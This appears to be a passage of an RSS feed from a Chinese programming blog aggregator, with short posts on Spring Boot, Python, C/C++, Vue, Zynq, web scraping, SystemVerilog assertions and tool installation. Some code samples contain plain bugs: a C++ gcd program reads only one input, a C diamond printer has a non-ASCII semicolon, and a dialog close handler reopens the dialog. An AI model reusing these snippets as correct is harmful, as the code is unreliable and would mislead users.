      <description>0、前言 今天在做项目的时候，写一个无session登录拦截以及部分页面放行的功能时，使用的传统方法，当配置项过多、并且这些配置项以后可能会更改，这种传统的方式将所有的配置项都写死在了java类中，感觉耦合度非常高，所以我就想：能不能对这种方式做一些优化？我想了很多种方案，不断尝试，例如使用注解注入配置文件的方式，我试了以下几种注解注入，结果要不就是报一堆异常，要不就是不能达到目的：&#xA;@ImportResource(&#34;classpath:ListUrl.yml&#34;) @PropertySource(&#34;classpath:ListUrl.yml&#34;) @ConfigurationProperties(&#34;whitelist&#34;) @EnableConfigurationProperties(LoginFilterConfig.class) 最后，功夫不负有心人，我找到了一种堪称完美的方式：使用springboot配置文件+Data赋值注入的方式，实现解耦合！&#xA;（我也将它记录到了我的个人网站：https://doublepeach.gitee.io，欢迎来访！）&#xA;再介绍我这种方式之前，先给大家看看传统的方式完成登录拦截和放行功能的写法：&#xA;1、传统写法 （1）定义一个拦截器，并实现HandlerInterceptor并配置拦截条件以及页面跳转 （2）定义过滤器类，并实现WebMvcConfigurer接口中的addInterceptors 手动创建List集合，并将放行的页面的字符串一个个添加到list中&#xA;完成 这样就使用传统的方式完成了登录拦截和部分页面放行的功能，但这种方式从代码上看，很明显的一个缺陷就是设置放行页面时，代码耦合度太高，将来某一天想取消放行或增加额外的放行页面时，还需要修改java源代码。&#xA;所以我想到了使用配置文件的方式，将这些放行页面的路径字符串添加为springboot的list集合配置项，然后在java代码中注入该集合，实现配置文件的读取。 将来修改放行页面时直接在配置文件中改，这样不就耦合度大大降低了吗？&#xA;下面说说今天的主角：&#xA;2、配置文件的方式 （1）配置拦截器，这步同上，没有变化 （2）springboot主配置文件声明放行页面的配置项 这里一定要注意List集合在yml配置文件中的书写方式&#xA;- 与 list元素之间有空格！&#xA;（3）配置拦截器 ***注解作用以及原理解释： - 使用Lombok中的@Data注解进行属性的赋值注入&#xA;- 添加了@Configuration注解后，此类会被spring容器标记为配置类，springboot会将其主配置文件application.yml中的配置项与此类中的属性进行”按名对应“，并通过Set方法注入（此步使用@Data自动完成）&#xA;- @ConfigurationProperties注解设置配置项的前缀&#xA;完成 这样，优化后的这种读取配置文件的方式实现登录拦截放行功能就完成了，相比传统的那种，不仅代码更简洁，而且耦合度更低，代码更易于修改维护管理，以后遇到类似的可以使用配置文件解耦合的地方可以经常使用！！！</description>
    </item>
    <item>
      <title>用python自动出小学加减法程序</title>
      <link>https://bchobby.github.io/posts/3256d287e179e4b83d46e1ff27bad93d/</link>
      <pubDate>Fri, 26 Aug 2022 16:03:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3256d287e179e4b83d46e1ff27bad93d/</guid>
      <description> 朋友们大家好，今天我给大家带来的内容是：用python做自动出题程序。&#xA;这个程序可以随机出两位数加减法的程序。&#xA;先看代码：&#xA;import time import random ops=[&#39;+&#39;,&#39;-&#39;] random.shuffle(ops) ops1=ops[0] numbers=1 numbers1=0 while True: add1=random.randint(1,99) add2=random.randint(1,99) ops1=ops[0] eq=str(add1)+ops[0]+str(add2) val=eval(eq) if add1-add2&amp;lt;0: continue print(&#39;第&#39;,numbers,&#39;题&#39;) time.sleep(1) print(add1,ops1,add2,&#39;=&#39;) ask=int(input(&#39;答案是几：&#39;)) if ask==val: print(&#39;恭喜你，答对了&#39;) print() numbers+=1 random.shuffle(ops) else: print(&#39;答错了，正确答案是&#39;,val) print() numbers+=1 random.shuffle(ops) 来看看效果：&#xA;可以看到，程序自动出了几道两位数加减法的题目，只要输入正确的答案，程序就会告诉你你答对了。&#xA;好了，本文章的内容就到这里，感谢观看！ </description>
    </item>
    <item>
      <title>Xmodem operation was canceled by remote peer问题已解决</title>
      <link>https://bchobby.github.io/posts/489dbd024863626fb8f5ada3226fa04c/</link>
      <pubDate>Fri, 26 Aug 2022 15:19:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/489dbd024863626fb8f5ada3226fa04c/</guid>
      <description>1.Xmodem operation was canceled by remote peer.&#xA;传输的时候就会出现注意的问题&#xA;2.使用df -h命令查看内存状况，可以发现root已经满了。&#xA;3.进入根目录，ls显示，使用rm命名将其中的文件删除&#xA;4.显示，可以看见内存占用变少。&#xA;5.最后传输文件，可以了。</description>
    </item>
    <item>
      <title>Java 导出Excel利用模版导出</title>
      <link>https://bchobby.github.io/posts/5da8b19ebdf9ef7ff6671f82d996f283/</link>
      <pubDate>Fri, 26 Aug 2022 15:13:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5da8b19ebdf9ef7ff6671f82d996f283/</guid>
      <description>Java导出Excel和word的方式大体相同 1、Excel模版导出到页面下载 首先，导入依赖在pom.xml中我选择的事1.03的版本 第二、在项目或是自己需要的地方建立个文件夹放导出文件的模版，并且配好模版 第三，controller层写入export方法，这里我写的没有将可以作为工具的部分单独写一块而是直接写在controller的方法中这样更直观，并且是使用注解的方式进行的项目配置 @RequestMapping(&#34;/export&#34;) private void export(Queryable queryable, PropertyPreFilterable propertyPreFilterable, HttpServletRequest request,HttpServletResponse response) throws Exception { //根据系统的需要获取数据源 List&amp;lt;Model&amp;gt; resultList = pagejson.getResults(); //获得模版 String tempFileName = request.getSession().getServletContext().getRealPath(&#34;/excelTemplate&#34;); //将结果放入这个list中 List values = new ArrayList(); Map beans = new HashMap(); Date date = new Date(); SimpleDateFormat simpl = new SimpleDateFormat(&#34;yyyyMMddHHmmss&#34;); String currntTime = simpl.format(date); tempFileName += &#34;/policyDemo.xls&#34;; //导出列表名 String fileName = currntTime+&#34;列表.xls&#34;; values.addlist); beans.put(&#34;values&#34;, values); //文件名称统一编码格式 fileName = URLEncoder.encode(fileName, &#34;utf-8&#34;); //生成的导出文件 File destFile = File.</description>
    </item>
    <item>
      <title>vue-element-admin-master框架结合element UI 组件 权限的问题以及element 组件使用中遇到的问题</title>
      <link>https://bchobby.github.io/posts/34bf0e676a415b434146624a13f0c7b9/</link>
      <pubDate>Fri, 26 Aug 2022 14:22:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34bf0e676a415b434146624a13f0c7b9/</guid>
      <description>在线预览&#xA;https://github.com/PanJiaChen/vue-element-admin/blob/master/README.zh-CN.md （总连接）&#xA;使用文档&#xA;一、权限问题 1.settings.js 文件&#xA;1.showSettings: false,//右边设置 是否关闭 2.tagsView: false,导航栏是否关闭 3.fixedHeader: false, 4.sidebarLogo: true,左边菜单顶部是否显示标题和logo 2.登录逻辑 权限控制 代码分析&#xA;A. permission.js 是权限控制的 （其实就是路由拦截器）登录逻辑&#xA;import router from &#39;./router&#39; import store from &#39;./store&#39; import { Message } from &#39;element-ui&#39; import NProgress from &#39;nprogress&#39; // progress bar一个进度条的插件 import &#39;nprogress/nprogress.css&#39; // progress bar style import { getToken } from &#39;@/utils/auth&#39; // get token from cookie import getPageTitle from &#39;@/utils/get-page-title&#39; NProgress.configure({ showSpinner: false }) // NProgress Configuration 是否有转圈效果 const whiteList = [&#39;/login&#39;, &#39;/auth-redirect&#39;] // no redirect whitelist 没有重定向白名单 router.</description>
    </item>
    <item>
      <title>【例4-3】利用数组，给定N个正整数数据（N＜=100），查找最大值和最小值并输出。【输入输出样例】Input length (N＜=100):（此处括号、冒号为英文符号，后面无空格；leng</title>
      <link>https://bchobby.github.io/posts/61de31ac373e18f3b451d5ceca32a54f/</link>
      <pubDate>Fri, 26 Aug 2022 12:01:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61de31ac373e18f3b451d5ceca32a54f/</guid>
      <description>【例4-3】利用数组，给定N个正整数数据（N&amp;lt;=100），查找最大值和最小值并输出。&#xA;【输入输出样例】&#xA;Input length (N&amp;lt;=100):（此处括号、冒号为英文符号，后面无空格；length和左括号间有空格）&#xA;6&#xA;8 10 13 1 23 7&#xA;The max is 23&#xA;The min is 1（此处输出结束不换行，is后面有一个空格）&#xA;（20.0分）&#xA;参考答案：&#xA;#include&amp;lt;stdio.h&amp;gt;&#xA;#define N 100&#xA;int main()&#xA;{&#xA;int i,n,max=0,a[N],min=0;&#xA;printf(&#34;Input length (N&amp;lt;=100):\n&#34;);&#xA;scanf(&#34;%d&#34;,&amp;amp;n);&#xA;for(i=0;i&amp;lt;n;i++)&#xA;{&#xA;scanf(&#34;%d&#34;,&amp;amp;a[i]);&#xA;}&#xA;max=a[0];&#xA;for(i=1;i&amp;lt;n;i++)&#xA;{&#xA;if(a[i]&amp;gt;max)&#xA;max=a[i];&#xA;}&#xA;printf(&#34;The max is %d\n&#34;,max);&#xA;min=a[0];&#xA;for(i=1;i&amp;lt;n;i++)&#xA;{&#xA;if(a[i]&amp;lt;min)&#xA;min=a[i];&#xA;}&#xA;printf(&#34;The min is %d&#34;,min);&#xA;return 0;&#xA;}</description>
    </item>
    <item>
      <title>JS——利用JS实现简易留言板</title>
      <link>https://bchobby.github.io/posts/1e03a44c7b03bc69fdc1cc689bd23721/</link>
      <pubDate>Fri, 26 Aug 2022 11:59:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e03a44c7b03bc69fdc1cc689bd23721/</guid>
      <description>文章目录 前言一、成果图二、使用步骤 1.需求解析2.HTML结构3.CSS样式4.JS行为总结 一、成果图 二、使用步骤 1.需求解析 实现留言板的基本功能&#xA;提交留言——用户输入留言（当输入内容为空时，提示用户，且不可提交留言），输入完成后点击提交留言，留言列表中将会出现对应用户输入的内容，且留言列表第一条应该时用户最新提交的内容与当日日期统计输入字数——输入框下方也会自动统计用户输入的字数，当输入字数大于一定长度时，提示用户且不可提交留言删除留言——当用户提交留言后，每一条留言后会出现删除按钮用于删除本条留言记录 2.HTML结构 &amp;lt;!-- 外部容器 --&amp;gt; &amp;lt;div class=&#34;wrapper&#34;&amp;gt; &amp;lt;!-- 内部容器 --&amp;gt; &amp;lt;div class=&#34;inner&#34;&amp;gt; &amp;lt;!-- 输入留言区域 --&amp;gt; &amp;lt;textarea name=&#34;student&#34; id=&#34;student&#34; cols=&#34;40&#34; rows=&#34;10&#34;&amp;gt;&amp;lt;/textarea&amp;gt; &amp;lt;!-- 统计文本域中的字数 --&amp;gt; &amp;lt;p id=&#34;text&#34;&amp;gt;已输入字数： &amp;lt;span id=&#34;text-now&#34;&amp;gt;0&amp;lt;/span&amp;gt;/100 &amp;lt;/p&amp;gt; &amp;lt;!-- 提交留言按钮 --&amp;gt; &amp;lt;input type=&#34;button&#34; id=&#34;btn&#34; value=&#34;提交留言&#34;&amp;gt; &amp;lt;p&amp;gt;留言列表&amp;lt;/p&amp;gt; &amp;lt;!-- 呈现留言区域 --&amp;gt; &amp;lt;ul&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; 3.CSS样式 &amp;lt;style&amp;gt; body { background-color: #f4f4f4; } /* 外部容器样式设置 */ .wrapper { width: 400px; height: 500px; background-image: url(../img/689334441.jpg); background-size: contain; border-radius: 15px; opacity: .</description>
    </item>
    <item>
      <title>SpringBoot多数据源及事务解决方案</title>
      <link>https://bchobby.github.io/posts/05ff56a07c79e73d037d15c9457d5282/</link>
      <pubDate>Fri, 26 Aug 2022 11:16:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05ff56a07c79e73d037d15c9457d5282/</guid>
      <description>一个主库和N个应用库的数据源，并且会同时操作主库和应用库的数据，需要解决以下两个问题：&#xA;如何动态管理多个数据源以及切换？如何保证多数据源场景下的数据一致性（事务）？ 本文主要探讨这两个问题的解决方案，希望能对读者有一定的启发。&#xA;2. 数据源切换原理 通过扩展Spring提供的抽象类AbstractRoutingDataSource，可以实现切换数据源。其类结构如下图所示：&#xA;targetDataSources&amp;amp;defaultTargetDataSource&#xA;项目上需要使用的所有数据源和默认数据源。&#xA;resolvedDataSources&amp;amp;resolvedDefaultDataSource&#xA;当Spring容器创建AbstractRoutingDataSource对象时，通过调用afterPropertiesSet复制上述目标数据源。由此可见，一旦数据源实例对象创建完毕，业务无法再添加新的数据源。&#xA;determineCurrentLookupKey&#xA;此方法为抽象方法，通过扩展这个方法来实现数据源的切换。目标数据源的结构为：Map&amp;lt;Object, DataSource&amp;gt;其key为`lookup key。&#xA;我们来看官方对这个方法的注释：&#xA;lookup key通常是绑定在线程上下文中，根据这个key去resolvedDataSources中取出DataSource。&#xA;根据目标数据源的管理方式不同，可以使用基于配置文件和数据库表两种方式。基于配置文件管理方案无法后续添加新的数据源，而基于数据库表方案管理，则更加灵活。&#xA;3. 配置文件解决方案 根据上面的分析，我们可以按照下面的步骤去实现：&#xA;定义DynamicDataSource类继承AbstractRoutingDataSource，重写determineCurrentLookupKey()方法。配置多个数据源注入targetDataSources和defaultTargetDataSource，通过afterPropertiesSet()方法将数据源写入resolvedDataSources和resolvedDefaultDataSource。调用AbstractRoutingDataSource的getConnection()方法时，determineTargetDataSource()方法返回DataSource执行底层的getConnection()。 其流程如下图所示：&#xA;3.1 创建数据源&#xA;DynamicDataSource数据源的注入，目前业界主流实现步骤如下：&#xA;在配置文件中定义数据源&#xA;spring.datasource.type=com.alibaba.druid.pool.DruidDataSource spring.datasource.driverClassName=com.mysql.jdbc.Driver # 主数据源 spring.datasource.druid.master.url=jdbcUrl spring.datasource.druid.master.username=*** spring.datasource.druid.master.password=*** # 其他数据源 spring.datasource.druid.second.url=jdbcUrl spring.datasource.druid.second.username=*** spring.datasource.druid.second.password=*** 复制代码 在代码中配置Bean&#xA;@Configuration public class DynamicDataSourceConfig { @Bean @ConfigurationProperties(&#34;spring.datasource.druid.master&#34;) public DataSource firstDataSource(){ return DruidDataSourceBuilder.create().build(); } @Bean @ConfigurationProperties(&#34;spring.datasource.druid.second&#34;) public DataSource secondDataSource(){ return DruidDataSourceBuilder.create().build(); } @Bean @Primary public DynamicDataSource dataSource(DataSource firstDataSource, DataSource secondDataSource) { Map&amp;lt;Object, Object&amp;gt; targetDataSources = new HashMap&amp;lt;&amp;gt;(5); targetDataSources.</description>
    </item>
    <item>
      <title>ZYNQ DDR读写</title>
      <link>https://bchobby.github.io/posts/ba2ba40e3f7fb72a8749fa2eef03ce56/</link>
      <pubDate>Fri, 26 Aug 2022 10:10:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba2ba40e3f7fb72a8749fa2eef03ce56/</guid>
      <description> 很不错的一篇文章，mark一下： 使用Xilinx SDK对Zynq的PCIE，SRIO等高速接口进行调试的过程中，经常会涉及到DMA对DDR数据的读写，此时就会引入会引入cache一致性问题。Zynq的PS在运行过程中，通过DDR控制器对DDR存储器进行访问，为了加快访问速度，常常将一些数据缓存在cache中，而且不是针对一个数据数据缓存，而是一批(Xilinx称为一行，即line，一行长度为32)，这样的好处是下次访问速度会加快，但是坏处也很明显，cache数据发生变化，不能马上反映到DDR中，反之亦然。当通过DMA修改DDR数据时，CPU可能还不知道发生了什么，拿到的数据还是cache中没有修改的数据，导致读写数据的错误。&#xA;解决的办法有以下两种：&#xA;调试过程中，直接禁用cache，即使用Xil_DCacheDisable()；CPU将直接访问DDR内存，读写都是直接的，这会降低CPU性能，但简化了数据传输操作，属于极端方法。使用CacheFlush和Cache Invalidate操作，CacheFlush把Cache里的数据清空，将Cache内容推到DDR中；而Cache Invalidate表示当场宣布Cache内容无效，需要从DDR中重新加载数据，即把数据从DDR中拉到Cache中。 #include &#34;xil_cache.h&#34; //将内容刷新至DDR(写数据后） Xil_DcacheFlushRange((u32)sendram,sizeof(buffer)); //将DDR内容拉近Cache中（读数据前） Xil_DcacheInvalidRange((u32)recvram,sizeof(buffer)); </description>
    </item>
    <item>
      <title>爬虫系列：某家小区房产信息及POI数据获取</title>
      <link>https://bchobby.github.io/posts/e11d4062c902c6d8623b0a0b4d90e3e9/</link>
      <pubDate>Thu, 25 Aug 2022 22:39:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e11d4062c902c6d8623b0a0b4d90e3e9/</guid>
      <description>🌵爬虫系列文章&#xA;🌴欢迎点赞评论学习交流~&#xA;🌱各位看官多多关注哦😘~&#xA;🍀本文章只用于学术研究，不可商用！！！&#xA;目录&#xA;一、前提准备&#xA;二、分析网页&#xA;三、百度地图POI申请&#xA;四、ak调用获取信息&#xA;五、数据保存 六、结束&#xA;一、前提准备 工具使用：python3.8.5&#xA;python库：requests，lxml，pandas库等&#xA;二、分析网页 打开链家点击小区跳转至内置网页&#xA;我们要获取的数据有以下：&#xA;小区名称&#xA;小区均价&#xA;建筑类型&#xA;物业费用&#xA;物业公司&#xA;开发商&#xA;楼栋总数&#xA;房屋总数&#xA;附近门店&#xA;经纬获取&#xA;通过Xpath我们可以轻松获取以上内容，Xpath路径如下：&#xA;#xpath路径 items = { &#39;tt&#39;:&#39;//div[@class=&#34;itemContent&#34;]/span[2]/text()&#39;, &#39;name&#39;:&#39;//div[@class=&#34;detailHeader fl&#34;]/h1/text()&#39;, &#39;second_url&#39;:&#39;//div[@class=&#34;title&#34;]/a/@href&#39;, &#39;money&#39;:&#39;//div[@class=&#34;fl&#34;]/span[1]/text()&#39;, &#39;info&#39;:&#39;//div[@class=&#34;xiaoquInfoItem&#34;]/span[@class=&#34;xiaoquInfoContent&#34;]/text()&#39; &#39;&#39; } #获取数据 name = html_info.xpath(self.items[&#39;name&#39;])[0] # 小区名称 money = html_info.xpath(self.items[&#39;money&#39;])[0] #单价 /m2 type = html_info.xpath(self.items[&#39;info&#39;])[0] # 建筑类型 fee = html_info.xpath(self.items[&#39;info&#39;])[1] # 物业费用 company = html_info.xpath(self.items[&#39;info&#39;])[2] # 物业公司 developers = html_info.xpath(self.items[&#39;info&#39;])[3] # 开发商 sum = html_info.</description>
    </item>
    <item>
      <title>SVA断言</title>
      <link>https://bchobby.github.io/posts/8488be85fb7b6236028bbe8167eef19d/</link>
      <pubDate>Thu, 25 Aug 2022 21:49:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8488be85fb7b6236028bbe8167eef19d/</guid>
      <description>目录 Assertion介绍什么是assertion？断言覆盖率断言语言的发展与进步类型划分立即断言并行断言并行断言的执行阶段assertion，property，sequencesequences sequence定义基本操作符号and操作符号intersect操作符号or操作符号first_match操作符号throughout操作符号within操作符号if操作符号检测序列的终点局部变量调用方法访问采样方法系统函数和方法 Property使用介绍时钟声明绑定expect语句 Assertion介绍 什么是assertion？ 用来与设计功能和时序做比较的属性描述。断言可以用来完成：&#xA;1、检查设计的内容；&#xA;2、提高设计的可视度和调试能力；&#xA;3、检查设计特性在验证中是否被覆盖。可读性好，因此也可用来服务于设计文档。用来检查算法模型的断言在形式验证中可以穷尽计算，找出可能的违例。可以自由地打开或关闭。一小部分子集甚至可以用来综合或移植到emulation中，用来完成跨平台的移植。 断言覆盖率 仿真工具可以报告断言覆盖率，指示哪些断言没有被触发；帮助检查是否验证计划捕捉到了所有需要的覆盖率；断言覆盖率和功能覆盖率可以共同量化验证进度。 断言语言的发展与进步 Verilog不支持断言，因此需要写过程语句来坐替代；SVA是由一些支持断言的语言进化而来，作为SV相对独立的语言分支。 类型划分 立即断言（immediate assertion）：非时序的；执行时如同过程语句；可以在initial/always过程块或task/function中使用。并行断言（concurrent assertion）：时序性的；关键词property用于区分立即断言和并行断言；并行是因为它们与设计模块一同并行执行。 立即断言 [name:] assert (expression) [pass_statement] [else fail_statement]&#xA;time t; always @(posedge clk) if(staet == REQ) assert (req1 || req2) else begin t = $time; #5 $error(&#34;assert failed at time %0t&#34;, t); end //如果状态为REQ，但req1或req2均不为1时，断言将失败 立即断言可以结合$fatal/$error/$warning/$info给出不同严重级别的消息提示。&#xA;always @(state) assert (state == $onehot) else $fatal; 并行断言 base_rule1: assert property (cont_prop(rst,in1,in2)) pass_stat else fail_stat;&#xA;property req_grant_prop @(posedge clk) req ##2 gnt ##1 !</description>
    </item>
    <item>
      <title>mac Couldn‘t load OpenSSL lib解决</title>
      <link>https://bchobby.github.io/posts/70dd62b40b1b1b10501e585bc7de4b77/</link>
      <pubDate>Thu, 25 Aug 2022 20:34:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70dd62b40b1b1b10501e585bc7de4b77/</guid>
      <description>1、brew install openssl&#xA;2、sudo ln -s /usr/local/Cellar/openssl@3/3.0.5/lib/libssl.3.dylib /usr/local/lib/libssl.dylib&#xA;sudo ln -s /usr/local/Cellar/openssl@3/3.0.5/lib/libcrypto.3.dylib /usr/local/lib/libcrypto.dylib&#xA;3.pip2 install pyelliptic==1.5.8&#xA;--------------发现可以解析ios的日志，解析不了android，搜一又是一顿操作&#xA;1、pip2 uninstall pyelliptic&#xA;2、pip2 install https://github.com/mfranciszkiewicz/pyelliptic/archive/1.5.10.tar.gz#egg=pyelliptic&#xA;3、执行命令会报错&#xA;AttributeError: dlsym(0x219f33120, ECDH_OpenSSL): symbol not found&#xA;4、重新安装openssl。brew install openssl@1.1&#xA;5、rm /usr/local/lib/libssl.dylib&#xA;rm /usr/local/lib/libcrypto.dylib&#xA;6、&#xA;sudo ln -s /usr/local/Cellar/openssl@1.1/1.1.1q/lib/libssl.1.dylib /usr/local/lib/libssl.dylib&#xA;sudo ln -s /usr/local/Cellar/openssl@1.1/1.1.1q/lib/libcrypto.1.1.dylib /usr/local/lib/libcrypto.dylib&#xA;搞定</description>
    </item>
    <item>
      <title>用C语言实现菱形的打印</title>
      <link>https://bchobby.github.io/posts/23b9fed2acc46a42cb16a9d638baee4c/</link>
      <pubDate>Thu, 25 Aug 2022 18:43:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23b9fed2acc46a42cb16a9d638baee4c/</guid>
      <description> 我们在进行菱形的打印时，要先去寻找规则，找到规则之后就会有了编程思路。&#xA;菱形是一个对称图形，我们可以分为上下两层，上层是逐行递增，下层是逐行递减。&#xA;#include &amp;lt;stdio.h&amp;gt; int main(void) { int n = 0,i = 0,j = 0; printf(&#34;请输入菱形的行数&#34;)； scanf(&#34;%d&#34;,&amp;amp;n); //打印菱形的上层 for(i=1;i&amp;lt;=n;i++) { for(j=i-n;j&amp;lt;n;j++) printf(&#34; &#34;); for(j=1;j&amp;lt;=2*i-1;j++) printf(&#34;*&#34;); printf(&#34;\n&#34;); } //打印菱形的下层 for(i=n-1;i&amp;gt;=0;i--) { for(j=i-n;j&amp;lt;n;j++) printf(&#34; &#34;); for(j=1;j&amp;lt;=2*i-1;j++) printf(&#34;*&#34;); printf(&#34;\n&#34;); } return 0; } </description>
    </item>
    <item>
      <title>ElementUi之dialog弹窗</title>
      <link>https://bchobby.github.io/posts/bddf91026607183aeb7eb7af904fc0a8/</link>
      <pubDate>Thu, 25 Aug 2022 17:22:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bddf91026607183aeb7eb7af904fc0a8/</guid>
      <description>单独弹窗&#xA;&amp;lt;el-button type=&#34;text&#34; @click=&#34;dialogVisible = true&#34;&amp;gt;点击打开 Dialog&amp;lt;/el-button&amp;gt; &amp;lt;el-dialog :title=&#34;title&#34; :visible.sync=&#34;dialogVisible&#34; width=&#34;30%&#34; :before-close=&#34;handleClose&#34;&amp;gt; &amp;lt;span&amp;gt;这是一段信息&amp;lt;/span&amp;gt; &amp;lt;span slot=&#34;footer&#34; class=&#34;dialog-footer&#34;&amp;gt; &amp;lt;el-button @click=&#34;handleClose&#34;&amp;gt;取 消&amp;lt;/el-button&amp;gt; &amp;lt;el-button type=&#34;primary&#34; @click=&#34;dialogVisibleYes&#34;&amp;gt;确 定&amp;lt;/el-button&amp;gt; &amp;lt;/span&amp;gt; &amp;lt;/el-dialog&amp;gt; &amp;lt;script&amp;gt; export default { data() { return { title: &#39; &#39;, //弹出层标题 dialogVisible: false //是否显示弹出层 }; }, methods: { //取消弹窗 handleClose(done) { this.dialogVisible = true; }, //弹窗确定 dialogVisibleYes() {} } }; &amp;lt;/script&amp;gt; 弹窗套表单&#xA;&amp;lt;el-button type=&#34;text&#34; @click=&#34;dialogVisible = true&#34;&amp;gt;点击打开 Dialog&amp;lt;/el-button&amp;gt; &amp;lt;el-dialog :title=&#34;title&#34; :visible.sync=&#34;dialogVisible&#34; width=&#34;30%&#34; :before-close=&#34;handleClose&#34;&amp;gt; &amp;lt;el-form ref=&#34;</description>
    </item>
    <item>
      <title>seismic_unix安装教程</title>
      <link>https://bchobby.github.io/posts/a79f09e7127d7e2f566c2b1df13cfdde/</link>
      <pubDate>Thu, 25 Aug 2022 16:31:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a79f09e7127d7e2f566c2b1df13cfdde/</guid>
      <description>Seismic unix seismic_unix安装教程 本教程适用于公共主机安装，安装在/opt下,普通用户也可以添加路径运行su&#xA;参考链接&#xA;1、下载安装文件 nextcloud.seismic-unix.org&#xA;Ubuntu18.04 推荐安装 cwp_su_all_44R18.tgz&#xA;2、创建安装文件目录/opt/cwp sudo mkdir /opt/cwp 3、进入下载目录，解压文件到安装路径/opt/cwp gunzip cwp_su_all_44R18.tgz sudo tar -zxvf cwp_su_all_44R18.tar -C /opt/cwp/ 4、添加环境变量: 打开/root/.bashrc 末行添加&#xA;# set the CWPROOT variable export CWPROOT=/opt/cwp # set the PATH variable export PATH=$PATH:$CWPROOT/bin: 5、测试环境是否成功 输入echo $CWPROOT 输出以下内容即成功&#xA;root@509lab:~# echo $CWPROOT/ /opt/cwp/ 6、进入解压后的文件夹cd $CWPROOT/src 编辑下Makefile文件(可以省略) 修改前&#xA;#CWPROOT = include $(CWPROOT)/src/Makefile.config 修改后&#xA;#CWPROOT = /opt/cwp include $(CWPROOT)/src/Makefile.config 7、安装前更新数据库 sudo apt-get install build-essential sudo apt-get install libx11-dev sudo apt-get install libxt-dev sudo apt-get install libxmu-dev sudo apt-get install libxi-dev sudo apt-get install gfortran 8、正式安装 make install make xtinstall make finstall make mglinstall 9 、检查安装是否成功 执行suplane|suxwigb &amp;amp;</description>
    </item>
    <item>
      <title>【Scala问题大全】每日一题，劝退系列</title>
      <link>https://bchobby.github.io/posts/12fe64d707b0ca2770b511726443c1a1/</link>
      <pubDate>Thu, 25 Aug 2022 11:52:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12fe64d707b0ca2770b511726443c1a1/</guid>
      <description>创建了一个Scala问题大全的仓库，每日一题，劝退系列。&#xA;https://github.com/jxnu-liguobin/daily.question&#xA;感兴趣的可以参与哈。&#xA;怕暴露水平的，可以进群匿名回答问题。哈哈哈&#xA;比如：&#xA;【2022-10-02】简述什么是HList，与Tuple区别？ ⭐⭐️⭐️⭐️⭐️⭐️⭐️⭐️⭐️⭐️&#xA;【2022-10-03】简述什么是STM？解决了什么问题？ ⭐⭐️⭐️⭐️⭐️⭐️⭐️⭐️⭐️⭐️&#xA;【2022-10-04】简述什么是Fiber？解决了什么问题？与Thread区别？ ⭐⭐️⭐️⭐️⭐️⭐️⭐️⭐️⭐️⭐️&#xA;【2022-10-05】简述什么是背压（Back Pressure）？ ⭐⭐️⭐️⭐️⭐️⭐️⭐️⭐️⭐️⭐️&#xA;【2022-10-06】akka：简述actor模型是什么？解决了什么问题？与多线程比较？ ⭐⭐️⭐️⭐️⭐️⭐️⭐️&#xA;【2022-10-07】akka：简述actor 生命周期？作用，使用场景？ ⭐⭐️⭐️⭐️⭐️⭐️⭐️⭐️&#xA;【2022-10-08】akka：给出一个actor 系统的actor的（树形）层次结构？ ⭐⭐️⭐️⭐️⭐️⭐️⭐️⭐️&#xA;【2022-10-09】akka：简述actor的死信消息和unhandle消息的区别？ ⭐⭐️⭐️⭐️⭐️⭐️⭐️⭐️&#xA;【2022-10-10】akka：如何监听死信消息？ ⭐⭐️⭐️⭐️⭐️&#xA;【2022-10-11】akka：比较classic actor和typed actor？ ⭐⭐️⭐️⭐️⭐️⭐️⭐️⭐️&#xA;【2022-10-12】简述zio-stream和akka stream区别？ ⭐⭐️⭐️⭐️⭐️⭐️⭐️⭐️⭐️⭐️&#xA;【2022-10-13】akka：简述akka-remote的通信原理？ ⭐⭐️⭐️⭐️⭐️⭐️⭐️⭐️⭐️⭐️&#xA;【2022-10-14】akka：比较一下本地actor（LocalActorRef）和远程actor（RemoteActorRef）？ ⭐⭐️⭐️⭐️⭐️⭐️⭐️⭐️⭐️⭐️&#xA;【2022-10-15】akka：谈谈ActorSystem对象？classic和typed中的ActorSystem对象有变化吗，请说明？ ⭐⭐️⭐️⭐️⭐️⭐️⭐️⭐️⭐️⭐️</description>
    </item>
    <item>
      <title>C&#43;&#43;最大公因数、最小公倍数代码实现（比较简单，欧几里得法）</title>
      <link>https://bchobby.github.io/posts/e419c8d65a9fff4306d2159543ff598e/</link>
      <pubDate>Wed, 24 Aug 2022 21:17:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e419c8d65a9fff4306d2159543ff598e/</guid>
      <description>今天给大家带来的代码微课是最大公因数、最小公倍数比较简单的代码实现（10~20行）&#xA;原理：利用欧几里得《几何原本》中的计算替换方法&#xA;详细讲解：&#xA;今天我们所运用的数学方法名曰：更相减损术（欧几里得辗转相除法）&#xA;这其实是一种很简便快捷、重要的方法，他可以快速地帮你求两个数的最大公因数。&#xA;实际上，对于两个不同的正整数a,b(a &amp;gt; b)，有一个神奇的公式&#xA;gcd(a,b) = gcd(a,a - b) 也就是说，a和,b的最大公因数=a-b的最大公因数。&#xA;但是，这种方式仍旧有些许繁琐，于是作者简化了一下&#xA;gcd(a,b) = gcd(b,a % b); 现在，我们将它简化为一个函数。&#xA;int gcd(int x, int y) { while (y &amp;gt; 0) { int temp = y; y = x % y; x = temp; } return x; } 这，就是最大公因数的快捷方式。&#xA;接下来我们就来运用它。&#xA;#include &amp;lt;iostream&amp;gt; using namespace std; ​ int gcd(int x, int y) { while (y &amp;gt; 0) { int temp = y; y = x % y; x = temp; } return x; } ​ int main(){ int a,b; cin &amp;gt;&amp;gt; a,b; cout &amp;lt;&amp;lt; gcd(a,b) &amp;lt;&amp;lt; endl; return 0; } 